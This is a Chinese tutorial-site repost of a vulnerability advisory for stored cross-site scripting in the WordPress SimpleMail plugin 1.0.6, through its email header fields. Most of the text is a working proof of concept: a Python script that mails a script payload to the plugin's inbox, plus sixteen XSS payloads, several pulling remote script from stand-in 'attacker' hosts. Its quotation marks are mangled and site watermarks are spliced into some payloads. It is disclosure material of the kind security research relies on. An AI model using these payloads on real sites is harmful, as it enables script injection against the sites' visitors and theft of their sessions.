来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] WordPress是一种使用PHP语言和MySQL数据库开发的Blog(博客、网志)引擎,用户可以在支持PHP和MySQL数据库的服务器上建立自己的Blog。SimpleMail plugin for WordPress 1.0.6及其他版本在实现上存在多个...
WordPress是一种使用PHP语言和MySQL数据库开发的Blog(博客、网志)引擎,用户可以在支持PHP和MySQL数据库的服务器上建立自己的Blog。
SimpleMail plugin for WordPress 1.0.6及其他版本在实现上存在多个漏洞,通过电子邮件的字段”To”、”From”、”Date”、”Subject”传递的输入没有正确过滤即用于 显示电子邮件,可被恶意利用执行脚本插入攻击,查看后会在受影响站点的用户浏览器中执行。 WordPress SimpleMail Plugin Email字段脚本插入漏洞 参考: http://secunia.com/advisories/50208/ http://www.exploit-db.com/exploits/20361/ loneferret ()提供了如下测试方法: #!/usr/bin/python ”’ Author: loneferret of Offensive Security Product: SimpleMail Version: 1.0.6 (free version) Vendor Site: http://codecanyon.net/item/wp-simplemail/1130008?ref=tinsley Software Download: http://wordpress.org/extend/plugins/wp-simplemail/ Timeline: 29 May 2012: Vulnerability reported to CERT 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012 23 Jul 2012: Update from CERT: No response from vendor 08 Aug 2012: Public Disclosure Installed On: Ubuntu LAMP 8.04 WordPress: 3.3.1 Client Test OS: MAC OS Lion Browser Used: Firefox 12 Injection Points: To, From, Date, Subject Injection Payload(s): 1: ‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 2: <SCRIPT>alert(‘XSS’)</SCRIPT> 3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT> 4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> 5: <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME> 6: <SCRIPT SRC=http://up.2cto.com/2012/0813/20120813111400275.jpg”></SCRIPT> 7: </TITLE><SCRIPT>alert(“XSS”);</SCRIPT> 8: <SCRIPT SRC=//attacker/.j> www.2cto.com 9: <<SCRIPT>alert(“XSS”);//<</SCRIPT> 10: <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”> 11: <SCRIPT a=”>” SRC=”http://attacker/xss.js”></SCRIPT> 12: <SCRIPT =”blah” SRC=”http:// www.2cto.com /xss.js”></SCRIPT> 13: <SCRIPT a=”blah” ” SRC=”http://attacker/xss.js”></SCRIPT> 14: <SCRIPT “a=’>’” SRC=”http://attacker/xss.js”></SCRIPT> 15: <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://attacker/xss.js”></SCRIPT> 16: <SCRIPT a=”>’>” SRC=”http://attacker/xss.js”></SCRIPT> ”’ import smtplib, urllib2 payload = “”"<SCRIPT>alert(‘XSS’)</SCRIPT>”"” def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = “From: hacker@offsec.local” + payload + “\n” msg += “To: victim@victim.local\n” msg += ‘Date: Today\r\n’ msg += “Subject: Offensive Security\n” msg += “Content-type: text/html\n\n” msg += “XSS\r\n\r\n” server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print “[-] Failed to send email:” print “[*] ” + str(e) server.quit() username = “hacker@offsec.local” password = “123456″ dstemail = “victim@victim.local” frmemail = “hacker@offsec.local” smtpsrv = “172.16.84.171″ print “[*] Sending Email” sendMail(dstemail, frmemail, smtpsrv, username, password) 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本. |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com